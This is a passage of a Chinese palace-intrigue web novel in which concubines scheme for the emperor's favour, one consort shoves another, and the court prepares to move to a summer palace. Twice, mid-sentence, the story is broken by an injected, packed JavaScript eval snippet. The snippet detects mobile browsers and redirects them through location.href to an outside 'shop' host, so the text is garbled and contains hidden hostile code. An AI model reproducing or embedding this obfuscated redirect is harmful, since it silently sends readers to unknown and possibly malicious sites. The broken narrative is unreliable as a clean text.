皇后抬眸瞥了贤妃一眼,见她面上还是挂着温柔沁水的笑容,但说出口的话却实在别有用心。 果真,人的狐狸尾巴早早晚晚有一日会暴露出来的。就算再会装模作样,到了关键时候还是沉不住气。 太后嘴角的笑意虽然淡了些,但还是和声道:“殷美人?想来是花一般的年纪,陛下觉着新鲜。时候不早了,将人都传唤进来吧。” 太后的吩咐落下,一边的嬷嬷便到殿外请嫔妃们进来。 徐贵妃位于众人前,她亦是一副低眉顺眼,恭谨有礼的模样。不似平日在坤宁宫的做派,安静不已。 自然,太后的视线也未曾落到她身上,她扫了一圈嫔妃们,面上笑意又深了几分,“说起来这还是哀家头一回见新人,瞧瞧她们,倒觉得自己也年轻了几岁似的,果真是岁月催人老。” 皇后侍候在侧,此刻也只有她有资格来接太后的话,她低眉浅笑道:“母后忒抬举她们了。” 太后只是静静一笑,却不再说话。 殷璟初按照位分站在不前不后的地方,虽然桃红有所叮嘱,但她仍然不敢掉以轻心。太后若真是个好脾性的,端看贵妃都这样小心翼翼的模样,她也要打起精神来。 但不知为何,她总感觉有一抹若有似无的视线扫过来,落在身上。 太后的视线不偏不倚落在了人群中雾蓝色宫装的女子身上,虽是低着头,但她修长白皙的天鹅颈直直落入眼里,衣饰华美清贵,就算不看脸,她也能猜到究竟是何等颜色。 怪道陛下喜欢。 “哀家听说有一位殷美人蕙质兰心,温婉可人,不知今日可来了?” 太后冷不丁点名,倒让殷璟初有些猝不及防,但她到底出身世家,这些场面从前也经历过的,因此从容不迫地站出列,恭恭敬敬地给太后行了礼,将不卑不亢体现的淋漓尽致。 贤妃望向这一幕时,眼底的笑意渐渐深了几分,隐隐透着几分怡然。 “嫔妾美人殷氏给太后娘娘请安。” 太后上下打量她一眼,却并未如旁人想的刁难,不过片刻便让她起身,而后笑了笑道:“果然生的齐整,怪道陛下喜欢。如今宫里百花齐放,总归是胜过一枝独秀的。你们既入了宫,往后便要和睦相处,皇后身为后宫之主更容不得任何人僭越,只有循规蹈矩方能行的长远,都明白么?” 这话虽是对着所有人说的,但太后特意将殷璟初唤了出来,其中不无敲打之意。容更衣的前车之鉴太后并非没有耳闻,因此今日特特告诫众人。 这般想来,众人望向殷璟初的视线中便带了几分若有似无的怜惜,殷璟初却压根儿不受影响,她听完这些话神色如常,而后回到位置上,姜才人挑衅讥讽的眼神递过来时,她也只当无视。 太后并未说多少话,而后便让众人散了。 众人纷纷退出正殿,一下子屋里便安静下来了。 只见方嬷嬷望着最后一位嫔妃离开的背影,又侧身瞧着若有所思的太后,不免笑道:“太后方才敲打殷美人,是不是因着贤妃娘娘那番话?” 太后瞧了她一眼,未曾点头也不曾摇头,她只是淡淡道:“贤妃以往不曾说过这些话,今日特意在哀家跟前提起来,可见是生了几分忌惮,这倒不多见。哀家就这样瞧了一眼,除了皮相,旁的都不大瞧的出来,且瞧瞧能翻出什么样的风浪来。” 方妈妈颔首。 离慈宁宫远了些,桃红面上浮现几分心疼,又有不解,她低声道:“虽说太后娘娘是想要告诫新人,但做什么非要将小主拎出去做筏子呢?奴婢瞧着都觉得心疼。” 殷璟初笑了笑,漫不经心道:“我如今恩宠正盛,太后的用意我多多少少能猜到些。只是此事不像是空穴来风,只怕是有些人在太后跟前说了什么。” 桃红颇为机敏,只消想了一会儿,眼珠子滴溜溜转了起来,她脸色变了变恍然大悟道:“莫非是……” 殷璟初抿嘴,抬起手来做了个噤声的手势。 桃红知道隔墙有耳,她也明白小主的意思。 “比起我,只怕如今她才是众矢之的。”殷璟初叹了叹,宫里的人一个两个都没什么好心思,本来在宫里生存就不容易了,偏要暗地里耍心机斗心眼。 她挑了挑眉,既然旁人这样想,她也没法子,但她绝不是个被人欺负不回报的性子。 过了一会儿不知想起了什么,她摇了摇团扇道:“我记得再过两个多月便是皇后娘娘的千秋节了。” 桃红听她提起这个倒是怔了怔,又颔首道:“是,不过皇后娘娘不是喜欢大肆热闹的性子,从前在东宫时便不大热衷这些。但今年不一样,陛下甫登基自然是十分重视,陛下早早吩咐内务府开始预备了,眼瞧着时日越发近了。” 皇后的生辰宴,规格自然非同一般。 殷璟初也不急着回宫,她步子轻缓,不一会儿便碰上了骆修容。 原是前两日大公主的功课被陛下表扬了,今日特提了一日休息。 虽是天气炎热,但挡不住大公主出来玩的心思,因此从慈宁宫出来后,骆修容便有些走不动脚,慈宁宫这边也有一个花园,虽然比不得御花园大但是景致甚好,她干脆让人回宫将大公主直接带过来。 这不,二人又不期而遇了。 自打上一次骆修容抛出了橄榄枝后,殷璟初没有一口应承下来,但骆修容却是极有耐心的性子,半个月前二人逐渐达成了利益上的同盟。因此在旁人都不知道的情况下,二人有一些颇为亲密的来往。 骆修容笑吟吟道:“又碰到殷妹妹了,可巧。” “修容姐姐可要仔细,如今天热还要陪着公主在外玩耍,要当心中了暑气才是。”殷璟初柔声嘱咐道。 骆修容点了点头笑道:“那就承妹妹吉言了。不过婙儿这孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037791|148127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子喜欢热闹,虽都说公主要贞静娴雅,要养成荣宠不惊的性子,但她到底还小,本宫也不希望拘束了她,带她出来闹一闹也好。可说着谁不喜欢热闹呢?平日里过着平静日子,逢上年节宫宴才能热闹嬉笑一番,这说着再过两个多月就是皇后娘娘的千秋节了,到时候宫里又会好生热闹热闹了。” 骆修容话里无意提到了千秋节,殷璟初眼神倏然一亮,顺着她的话说下去—— “嫔妾也有所耳闻皇后娘娘的千秋节,娘娘的生辰宴自然是一等一的隆重。可惜嫔妾头一年入宫,对许多事情都不大了解。都说送礼取的是投其所好,嫔妾只怕是诸多事务不了解犯了忌讳,还请修容姐姐能够指点迷津。” 骆修容料到了这一遭,时候还早,她倒是颇为热心道:“殷妹妹不必客气。皇后娘娘出身世家名门,为人最是端庄大气,我瞧着她倒对金玉之物不过尔尔,不过凡事只要尽了心意皇后娘娘都是喜欢的,只有一点,那就是香料。娘娘不喜欢香料,坤宁宫里头也不出现熏香,说是娘娘似乎对香料中一味最常见的药材过敏。” 殷璟初默默将这话记到了心里,不禁感叹陛下和皇后果然是夫妻,不喜欢的东西都是一样的。 骆修容仔细想了想,不知道又想起了什么,她继续道:“还有一样,从前在东宫时,有一回瞧着皇后娘娘从来不碰蟹,我多嘴问了一句,才知道皇后娘娘对蟹过敏,因此膳食也是非常讲究的。只是巧的很,贤妃也对蟹过敏,虽然不是什么秘闻,但是少有人知。还是那回她生辰宴我瞧见她脖子上起了红疹子,她痒得很也不肯让人去请太医,我觉着很奇怪,因此便留意下来了。旁的便没有什么了。” “嫔妾瞧着贤妃娘娘如今有孕很是不易呢,都说怀孕的人会变胖,但是贤妃娘娘仿佛又消瘦了许多。” “这倒是。”骆修容叹了口气,又道,“何况如今她月份还不大,想来也是身上有些不舒坦被腹中的孩子闹腾的。” “我住的离章台宫近,身边的宫人偶尔碰到章台宫的人说贤妃娘娘近些时候胃口很不好,先得知有孕时便吐了许久,可到了如今胃口也一点儿没有好起来。到底怀着皇嗣呢,为着孩子有时候也要勉强着自己用上一些。” 殷璟初笑着道过谢,又话几句家常,一直到大公主过来了,她才行礼告辞。 回到惠和殿,殷璟初将棋子按照棋谱上的摆法放在棋盘上,一边摆放一边道:“章台宫那边打理的如铁桶一般,我可听闻连一只苍蝇都飞不进去。” “是。”萼绿也点了点头,“奴婢们素日也很少碰到章台宫的宫人,如今贤妃有孕,章台宫上下自然更加谨慎。” 殷璟初笑了笑,那么有些消息就要好好利用了,她摆了摆手唤桃红过来,凑到她耳边耳语几句,一边的莹妆和兰时都瞪着眼翘首以盼,想要知道她在说什么,偏偏殷璟初卖了个关子不吭声,倒让兰时好奇的抓耳挠腮。 14. 第十四章 七月初,暑热愈盛,空气中都透着一股闷热的气息。 午后静谧,宫中的蝉鸣声乍歇,桃红坐在窗下的榻边,她压低声音道:“可算是安生了些,方才闹的小主都睡不得好觉了。” 莹妆点了点头,这会儿天热,出去人都要晒化了,因此一个两个都在屋里伺候,趁着小主在睡午觉,她们自可以清闲一些,因此人人手上都捧了一个小笸箩在做女红。 这午后无事可做,一起聚在一块儿讨论花样子,做女红不失为一件打发时辰的事情。 萼绿从外头进来,她特意放缓了步子,唯恐吵着了小主,一进来便道:“方才去内务府领月例银子,正碰到了卢嫔宫里的宫女。说起今儿又到了内务府送冰的日子,定例是每七日送一次,时日竟也过的这样快。” 日子就这样流水一般过,如今七月正到了最热的时候。虽然说宫里有富足的冰块可以使,比宫外有价无市的好,但多只供高位嫔妃,像卢嫔等位分不高,恩宠平平的而言,这冰块就不怎么够用了。 怎么省都是不够的。好在皇后娘娘体恤后宫众人,前两日还派人送了冰镇的蜜瓜来,人人都有份。 惠和殿的因为殷璟初得宠,暂且没有用冰不足的苦恼。连主位嫔妃宫里才有的冰鉴,上个月内务府就派人送来了,惠和殿这些日子一直用着。 殷璟初午觉睡的颇沉,她起身的时候便听见外头动静声不小,挑开珠帘便瞧见里头围了几个内务府的人过来送冰块,一个两个热的满头大汗,面上还透着讨好的笑意。 殷璟初忙让人给打赏了,领头的内侍喜不自胜,连连道:“多谢殷美人赏赐,只是这会儿奴才也不敢多耽搁,一会儿还要去姜才人宫里呢。” 姜含贞这些日子倒侍寝了两回,算不得被陛下抛之脑后,但明眼人都会揣摩,眼瞧着她不如殷璟初这般恩宠,因此两人虽然位分相当,但内务府还是先紧着送惠和殿的东西。 莹妆听了这话心里十分高兴,送走了内务府的人,她笑了笑道:“都说宫里的是人精中的人精,果不其然。那姜才人这些日子恩宠算不得拔尖,听说她自己宫里也酸言酸语了一阵子,再加上性子骄纵,前儿内务府的去了也一顿排揎,在宫里名声并不好。” 姜含贞这嚣张跋扈的性子,不消想殷璟初也知道她是什么做派,但如今到底是在宫里,她这般不知收敛,害了的只是自己。 因为天气炎热,皇后将每日的晨昏定省改为每三日一回,不如从前那样频繁,但三日也是很快就会轮到。 烈日炎炎还要出门,并且没有仪仗,的确颇为受罪。 殷璟初今日到坤宁宫时,许多嫔妃都已经到了,贤妃今日告了假不来,至于徐贵妃和玫妃互相都是一副看不上眼的神情,照样是嘲讽斗嘴不断,没个消停的时候。 卢嫔等人都在话家常,卢嫔摇着团扇,叹了口气道:“昨日内务府去送冰,怎么算都是不够用的,紧巴巴的。这几日到了夜间愈发觉得热,还没有这坤宁宫里白日坐着舒服。” 何良媛笑了笑道:“皇后娘娘这儿例份足的很,哪里是咱们能比得上的。皇后娘娘已经够体恤咱们了,娘娘前几日送去的蜜瓜我放在井水里面镇着,又凉又甜,很是解暑。” 说起这个,卢嫔也来了些精神,一时气氛尚好。 徐贵妃在位置上摆弄着耳饰,颇为无趣道:“今日贤妃又告假了,说是身上不舒服。前几日还瞧她活蹦乱跳的,难不成怀个孩子就这么金贵,说不来请安就不来请安了。” 徐贵妃话里的醋意明显,若说从前她还不怎么将贤妃放在眼里,毕竟贤妃再出身好,论起恩宠来还是不如她。四妃中也是以贵妃为尊,贤妃为四妃之末,她尚且不足为惧。 可如今不成了,贤妃有了身孕,往后在陛下心里孩子总要占一席之地。作为皇嗣之母,陛下也少不得抬举贤妃,这便让她感受到危机感了,一时很难安下心来。 玫妃见徐贵妃这般沉不住气的模样,嘴角扯了一抹讽刺,可细细想来,在子嗣上她们一样困难,遂也不怼她了,端起茶盏来喝了一口。 皇后姗姗来迟,脸色瞧着并不大好,一问才知道是皇长子晨起拉肚子了,孩子畏热,昨儿乳母照管不慎,偷着用了几口冰酥酪。 皇后也是半夜不曾阖眼,这时候勉强打起精神过来。都说病在儿身,疼在母心。 “娘娘的精神不大好,不如回去歇一歇吧,嫔妾们瞧着也不大心安。”卢嫔眼神中闪过一抹关切,缓声说道。 皇后却摆了摆手,她语气透着倦怠,“已经无碍了,大家不必担心。皇长子贪凉贪嘴,有皇嗣的嫔妃都要注意,尤其是骆修容和管贵嫔要看顾好了二位公主,万不要出什么差池。” 话音落下,岑容华眼神中闪过一抹难堪,管贵嫔瞥了她一眼,岑容华神情便有些不对劲,殷璟初敏锐地捕捉到那一丝情绪,她微微蹙眉,有不甘,也有……惧色。 竟然是惧色,殷璟初眼底的诧异深了几分,往日瞧管贵嫔和岑容华,岑容华是口无遮拦之人,管贵嫔虽名头上担着二公主养母,可实则公主养在岑容华膝下,对此管贵嫔也不曾说过什么,外人瞧着二人之间一派和睦。 可岑容华为何会对管贵嫔流露出惧色,殷璟初不知为何总觉得不对劲。 仔细想来,平日请安管贵嫔都是沉默寡言的那一个,她跟祝贵嫔很像,都是端庄安静的人。 但祝贵嫔偶尔会与身边人说几句话,模样温柔平和,但管贵嫔眼底总有几分抹不开的情绪,耐人寻味。 不知是联想到了什么,殷璟初的手顿了顿,将端起来的茶盏轻轻放回了小几上。 骆修容和管贵嫔皆起身道了声是,皇后正要令众人散了,不料外头一阵脚步声响起,清晰听到内侍尖细的调子—— “陛下驾到。” 这回不只是众位嫔妃,连皇后都有些吃惊,是了,她事先也不曾收到陛下要来的消息。 萧煜直直进来,目不斜视,徐贵妃的脸色缓和了许多,转而带着笑意,连玫妃那张傲慢的面上也变的笑吟吟的,气氛一派和睦。 皇后眼底的那一片青黑怎么都遮掩不住,萧煜一眼就瞧见,他亲自扶着皇后落座,皇后的嘴角泛起潮红,她坐下后方才低声温柔道:“陛下怎么来了?” “朕听说绩儿病了。”萧煜寡淡的语气中带了几分温情,他望向皇后继续道,“绩儿身体不舒服,皇后要好好保重自己。” 皇后眼神微微泛红,有些感动,她又垂眸和声道:“臣妾明白,绩儿已经没有大碍了,陛下为国事操劳还要挂心着绩儿的身体,臣妾身为人母,此事倒是疏忽了。” 萧煜扯了扯嘴角。 他这才抬眼扫了圈众人,都是最熟悉不过的面孔,他神情淡淡的,视线最后落在肌肤胜雪的女子身上,她还是如自己初见那一日,默然垂眸,她纵然不说话但仍然很难令人忽视。 这就是殷璟初的本事,这张脸足够令人倾倒。 徐贵妃眼神中盛满了笑意,她稍稍挺直了身子,笑的人比花娇,“陛下可算来了,如今天热,您倒也不怕中了暑气。其实莫怪皇长子贪凉,便是臣妾们都觉得宫里热得很,只是陛下才登基国事繁忙,若是能去行宫避暑也好,那儿到底比宫里清凉些。” 徐贵妃提起行宫倒是让底下嫔妃们眼神一亮。对于旧邸的嫔妃们而言,她们从前都是东宫姬妾,避暑名单上只有陛下和皇后娘娘、贵妃娘娘、贤妃娘娘和玫妃娘娘能去,再多也只有骆修容和岑容华,至于旁人便没有这个殊荣了。 因此回回听行宫,她们大都不曾去过。如今陛下登基,她们的身份水涨船高,无论去不去的成,想一想倒是可以的。 不过今年为着大选倒是耽搁了此事,这一提起来,皇后挑了挑眉道:“贵妃话说的不错,可此刻若是打发人去预备只怕是来不及,况且已经是七月初了,臣妾只怕到时候舟车劳顿,来来回回的未免辛苦了些。” 徐贵妃听了这话面上有些泄气,心底也有些埋怨。陛下还未开口,皇后每每都要这般煞风景,真是无趣的很。 萧煜神情不为所动,他瞥了眼贵妃,与贵妃相处多年,只看一眼就能明白她的心中所想,遂也不点破了。 至于避暑…之事,其实若吩咐下去,行宫如何收拾不出来。对于他而言无非是一句话的事。 玫妃抚了抚鬓边的玉钗,抬眸望向徐贵妃,讥笑道:“臣妾倒觉得皇后娘娘所言甚是。若是在宫里贵妃娘娘都嫌热,旁人可怎么好,到底没有哪宫的冰比娘娘您宫里供的足。此刻您凭着自个儿心愿就要吩咐人收拾行宫,可有想过宫里这许多人去一次行宫舟车劳顿,路途颇远不说,马车上可放不了冰,路上受热了怎么办?到时候莫说到行宫了,只怕半路上人就要热的不成了。” 玫妃脑瓜子转的快,说话也像竹筒倒豆子似的,直将徐贵妃怼的变了脸色,也不顾陛下在场,当即就冷声驳斥道:“如今本宫说什么,玫妃都有二话。本宫不过是表达自己的意见,玫妃不必夹枪带棒,在座的都不是傻子,都听的明白。” 暑热本来人就容易心烦气躁,好容易凉快了一会儿又听见尖锐的争执声闹腾个没完,莫说是皇后,就是萧煜脸色都不好了。 这还是殷璟初第一次看见萧煜变了脸色,他皱着眉头,冷声道:“都闭嘴!皇长子有碍,你们就这样在坤宁宫中不顾体统争执不休,整日闹个没完,还有做嫔妃的样子么?” 皇后亦觉得心上不舒服,既然陛下点出来了,她面上的神色也暖和了些。 被陛下斥责一番,徐贵妃和玫妃都闭上了嘴。 徐贵妃自然知道陛下不是真的生气,这些年她耍性子也不是一日两日了,她瞪了眼玫妃,果真是与她上辈子有仇的,一个两个都偏偏要和自己对着干。 骆修容脸色平常,似乎不将这个小插曲放在心上,三五日间便要上演一次的,早早就习惯了。 另还有一位夏充媛,殷璟初对她的印象并不深,入宫这几个月以来,她一贯也是不显山露水的,素日话不多,偶尔说上几句,都是无关紧要的。 但没有子嗣便能坐到九嫔之位,想来不只是因为她的出身。 请安散了后,众人依位分离开,殷璟初出了坤宁宫后,远远瞧见了姜才人的身影,若是她没眼花的话,还有容更衣也在一旁,二人仿佛在说什么话。 萼绿凑在殷璟初身侧,压低声音道:“这倒是稀奇了,姜才人跟容更衣素来没有交情的。何况还是在坤宁宫外,什么要紧话这般重要。” 殷璟初笑了笑,待靠近了些,才听到她们的交谈声—— 姜含贞的语气中尽是气急败坏,她恨声道:“你这个贱人胡诌什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049921|148127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?你胆敢对我不敬,我若是禀报陛下和皇后娘娘可有你好果子吃!” 容更衣冷冷一笑,丝毫不畏惧,“姜才人莫要笑死人了,你上回见陛下也是十几日前的事儿了吧。说起来,咱们这批新人里原本你是佼佼者,如今也被殷美人压的死死的,咱们二人有何区别,你迟早也会像我一样被人遗忘。” “住口!” 这话可谓戳到了姜含贞的逆鳞,她入宫可不是为了好玩,必然是想着要出人头地的。早前被容更衣插了先,她就有些不高兴了,所以她执拗地认为如今不温不火是容更衣导致的。 今日容更衣又对她这般不敬,行礼的时候那敷衍的劲头一眼就能看出来,她便觉得心里堵气的很,也终于找到了机会发泄,因此便很不留情面了。 哪知道容更衣丝毫不怕她,甚至言语中更不恭敬,挑衅的意味明显,这下可真是将她气死了。 容更衣挑了挑眉,笑意愈盛,“姜才人想要耍派头,还是瞧瞧自己有没有做娘娘的命吧。你是小主,我也是小主,何苦在我跟前摆架子耍派头,也是无趣的很。” “时候不早了,我便先回去了。” 话落,容更衣正要走,哪知道姜含贞气急了眼,她竟然上前两步死死地拽着容更衣的衣袖,满腔的怒火堵在胸腔中,再也忍受不住了一般狠狠向前推了一把。 容更衣来不及反应当场就步子踉跄重重地摔了下去,她身边伺候的宫人都吓坏了,见容更衣神情中闪过一抹痛苦,似乎伤得不轻,仔细看手掌心都蹭破了皮,血迹渗透出来。 姜才人也被吓着了,此刻人有些懵懵的,半晌她咬着牙还是不肯服输,便扬起下巴道:“今日之事给你个教训罢了,你也怨不得我,要怪就怪你自己不知道收敛,还这样招摇过市。” 她落下这句话后便扬长而去,容更衣满脸恨意。 看了一出好戏,殷璟初也觉得有些乏了,她才回到宫里不出一会儿,外头的消息便传了进来。 “听说容更衣带着伤又回了坤宁宫请皇后娘娘做主,您知道皇后娘娘素来不待见她,但没法子,这事儿无论如何都要秉公处置才是。”松融笑了笑道,“这不,宣召了一边的宫人去问话,终于做实了姜才人的行径。依宫规,才人哪里有教训人的资格,这还是在宫里。所以啊,皇后娘娘下旨令姜才人抄写宫规二十遍,又罚俸三个月以示惩戒。” “听说,容更衣当时有些不满呢,但也不敢在皇后娘娘跟前闹,到底是吃一堑长一智的。” 殷璟初笑了笑,若有所思道:“容更衣这阵子一直沉寂,今日的事情不像空穴来风,你们说她为何偏要去寻姜才人的麻烦?” “难道是为了引起陛下的注意?”兰时大胆猜测,毕竟从第一回侍寝后陛下就再也没有去看过容更衣,容更衣俨然成了这批新人中最被忽视的那个了,无人在意。 “一来,想要试探陛下如今究竟对她是什么态度。”殷璟初敛了嘴角笑意,悠悠道,“若是陛下有所表示,便证明没有将她之前的事放在心上,她日后还有得宠的可能。若是没有表示,陛下就当真将这人抛之脑后了,无论如何她都想争一争。” 无他,这宫里没有恩宠的日子其实很难过,宫里的一应待遇,吃穿住行都是与出身和恩宠挂钩。相比起出身,恩宠才是最实实在在的东西,你若得宠自然没有人敢得罪你,若是不得宠那就是人人都能轻贱的。 想来容更衣一定深谙此理,坐冷板凳品残羹冷炙的日子已经太久了,不论如何,她都想要为自己争一争,无论能不能出头但好过坐以待毙。 莹妆勾了勾嘴角,笑道:“那容更衣的算盘要落空了。陛下岂是那般记性差的人?何况她当日那样目中无人,闹的实在难堪,连皇后娘娘的颜面都不曾顾及,若是陛下就这般原谅了她,岂不是打了皇后娘娘的脸?” 这宫里有时候的平衡一旦被打破了,那么接下来的事情就会脱离原本的情形。 陛下对皇后娘娘敬重有加,轻易不会干涉皇后的决定,自然不会为了一个小小更衣去驳斥皇后的面子。 容更衣此举无疑是以卵击石,这样的法子除了自己受罪,或是报复姜才人,起不到任何作用。 莹妆撇了撇嘴道:“奴婢当真不知道她是如何想的,白白受了伤,却没有得到什么好处。” 殷璟初笑道:“咱们是局外人这样想着,但恐怕只有容更衣自己清楚原因。她未尝不是受人指使出一口恶气,你好好想想这宫里究竟是谁这般恨姜氏?” 宣德宫,岑容华得了消息后,脸色说不上好,但也不算难堪。 她抱着二公主哄了一会儿,瞧见宫人进来禀报,她便将公主交给了乳母抱出去,那宫人这才缓声道:“……皇后娘娘兴许是念着姜才人的出身,这才小惩大诫,不过罚俸和抄写宫规也够她受得了。” 岑容华却阴沉着脸,她摇了摇头冷笑道:“你们觉得皇后是小惩大诫,可我不这般觉着。于姜氏那个贱人而言,这些都是最不值一提的罢了。她出身好,难道手上缺银钱么?抄写宫规也可以打发宫女去,实则什么都不用做。皇后说是惩戒,可这心也是偏向姜氏。不过容氏这个蠢货,我也知道她上不了台面,连件小事都办不好。” “若是能让姜氏禁足或是取下绿头牌一段时日都是好的,她偏偏一件都办不到,无用!” 15. 第十五章 岑容华心情愈发烦躁,瞧着侍候在一侧的宫女们都觉得碍眼,她的不耐很快被芳菲察觉,摆了摆手让人都退下了。 殿内终于安静下来,芳菲这才压低声音轻轻道:“容更衣心性浅薄,着实是个扶不起来的阿斗。凭她这回折腾,陛下都不曾有什么表示,主子可要好好想想了。” 说起这个,岑容华好看的眉眼愈发皱成了一团,她紧紧地攥着帕子,面上尽是不快与忧惧,“我何尝不知道她靠不住,可放眼这批新人里,若想寻一个好拿捏的哪里这般容易?罢了罢了,如今要紧的是那一桩事,若不能办的漂漂亮亮,只怕……” 芳菲瞧她这副模样,心底便有了底。半晌,岑容华支着似是若有所思的模样。 . “此言当真?” 殷璟初嘴角扬起明媚的笑意,倒让满室蓬荜生辉一般。 松融笑着不住地点头,和声道:“奴才可不敢胡诌,陛下已经派人去知会皇后娘娘了。虽然说突然吩咐行宫去准备,时间紧促了些,但陛下的心意谁也不敢忤逆,想来这会儿皇后娘娘那边已经得了消息,小主这时候就要开始准备了。” 桃红挑了挑眉笑吟吟道:“小主好福气,放眼咱们宫里多少嫔妃还不曾去过行宫,小主才入宫没多久就有这个殊荣了。行宫比宫里清凉的多,一应起居住行也都齐全,唯独这住处不多,若是容纳满宫的人只怕是不成的。不过啊,漏了谁也不会漏了咱们小主去的,奴婢们一会儿便替您收拾行李。” 殷璟初笑了笑,虽然供冰很充足,但宫里的确热。她原本就是懒怠的性子,最受不了热,这天儿闷闷热的,让人一点做事的劲儿都没有。 行宫凉快,正合了她的意,乘凉散心,也能开拓心境。 原因今年大选,皇后娘娘那边不曾预备去行宫避暑的事儿,但今日晨昏定省后,陛下主动定下了此事,皇后也不会逆了陛下的意,当即就将随行的人定好了。 几家欢喜几家愁。 惠和殿这边得了坤宁宫的消息,莹妆和兰时等人都欢天喜地地预备起来了,惠和殿一派热闹,宫人们脸上都带着笑意。 挥退了旁人,殷璟初瞥了眼桃红,桃红低眉淡声道:“小主吩咐奴婢查的事情,奴婢在宫里虽然认得些人,但到底已经过了一两年了,好在辗转得了些眉目。” “东宫时岑容华和何良媛都是正七品昭训位分,二人关系要好。何良媛先被诊断出有身孕,那时候东宫只有骆修容娘娘膝下有一位大公主,因此陛下其实颇为看重这个孩子。何良媛有孕四个多月时,岑容华才被诊出怀有两个多月身孕,而后东宫中便有风声传出何良媛腹中是男胎。” “何良媛出事的那日,清晨下了雨,原是这日子并不大适合出门,何况身怀六甲的人更要仔细。但那一日却是岑容华陪着何良媛出的门,后来湖边莫名其妙出现了鹅暖石,何良媛踩到了鹅暖石脚下打滑,直接掉到了湖里去,那时候可是十月,天正是阴冷的时候,何良媛好歹是保住了一条命,可腹中的孩子却是没了,连带着她也再没了做生身母亲的机会。” 何其唏嘘,桃红探听到的眉目比骆昭容说的要仔细些,殷璟初让人调查这件事,除了事情的主人公何良媛,还有频繁扯进这件事中的岑容华,她究竟在其中扮演什么角色。 她心底有个大胆的猜测,却没有得到验证。 请安时岑容华对管贵嫔看似恭敬却藏着畏惧的神情,恐怕也不是外面瞧的那般简单。管贵嫔,她轻轻呢喃了声。 萼绿瞥了二人一眼,将梳妆台上的锦盒收拾好,嘴上不经意道:“奴婢从前在花房做事,年初奉命到宣德宫去送鲜花时,碰巧撞见岑容华脸上带着泪,瞧见二公主被管贵嫔抱在怀里头,岑容华想说话但瞧见奴婢们来了便不吭声了,奴婢当时还觉得奇怪。管贵嫔虽然沉默寡言,但在宫里名声好,她和祝贵嫔都是一样温柔沉默的人,乍见这模样,恐怕还让人觉得是管贵嫔欺负了岑容华呢。” 说者无心,但听者有心。殷璟初扯了扯嘴角,遂挑了话茬道:“这次去行宫的人中可有岑容华和何良媛?” 桃红摇了摇头,“有岑容华,但并无何良媛。何良媛早就失宠于陛下,陛下一个月也难去她宫里两次,皇后娘娘这次就没将人添上。” 意料之中的事情,有恩宠的人总占便宜,没有恩宠的人便连避暑都无人牵挂,守着自己的一亩三分田过日子,所以说这宫里还是恩宠最要紧。 “听说贤妃娘娘也要去呢,虽说有车马坐,可舟车劳顿,贤妃娘娘连着这几次请安都告了假,这次竟也要跟着去。”收拾好行李的莹妆挑了挑眉,颇为稀奇,“所以这宫里人人都不想错过争宠的机会,要是留在宫里就有几个月都不能见陛下,就连位高如贤妃娘娘也不肯放过这样的机会。” 贤妃的心机是流于暗处的,譬如那日去给太后请安时贤妃的别有用心,太后那一番敲打,殷璟初便觉得有意思的很,她未曾得罪过贤妃,贤妃也这样急着给她上眼药了,她素来是个睚眦必报的性子,就算当场不报,那也是时候未到。 眼下看来,这机会便来了。 “奴婢是装作无意与人说话将消息透出去的,一群小宫女围着一起说话,瞧的不是很真切。贵妃娘娘宫里的人必定是听到了的,奴婢余光注意到那人停留了许久,许是听到了心里。” 殷璟初抿了抿嘴,“听到了心里才好。” 翌日到坤宁宫请安,这日要去行宫的嫔妃都会去,皇后娘娘到底有些琐事要嘱咐,殷璟初按着时辰去,不早也不晚,不算打眼。 这几日晨间请安时,因为天气热,坤宁宫每日都会备着解暑的小吃食,虽然是冰镇过的,但放了一会儿不那么冰,凉度正好。 贤妃连着几次不曾过来,今儿来的倒早,那张温柔秀丽的面上含着恰到好处的笑意,徐贵妃坐在她对面,只是冷哼一声,一副瞧不上的模样。 玫妃虽然偶尔口无遮拦,不喜欢徐贵妃,但也谈不上喜欢贤妃。有时候瞧着贵妃呛贤妃,她还觉着有意思。 不料今日贵妃的心思似乎不在贤妃身上,她觉得有些无趣,抬眼扫了眼旁人,又笑吟吟道:“到底是陛下体恤,说去行宫避暑就去了,虽然留不得几个月,但也好在宫里熬日子的好。” 骆修容笑着接过这话,“谁说不是呢?昨日臣妾宫里得了消息,婙儿高兴的不成样子,她一贯喜欢去行宫的,臣妾还早早应承了她陪她放纸鸢。” 提起大公主,玫妃面上难得笑意真切了些,她没有孩子,往日见大公主活泼可爱的模样,她也喜欢的很,因此有一搭没一搭与骆修容说起公主的趣事来。 岑容华今日倒很有眼力见,不时也插上两句,又有卢嫔和褚良媛凑嘴捧场,一时气氛大好。 皇后娘娘出来时见众人都笑吟吟的模样,想起要去避暑,难得没有闹闹腾腾的,她也露出笑容道:“陛下体恤后宫众姐妹,昨儿吩咐了行宫快些预备着,再过六日咱们便启程。这一路上舟车劳顿自然是十分不舒服的,诸位妹妹们还要多担待。” “陛下这回吩咐的突然,行宫也没有做完全准备,原也比不上宫里处处都细致。诸位妹妹们二人一驾马车,若是有交好的姐妹便一起坐。” 此话一出,众人面上都流露出笑意来,卢嫔嘴角的笑容都掩不住,但想起还有一件很要紧的事情,她不免坐直身子继续问道:“皇后娘娘,那行宫的殿宇可分配好了?” 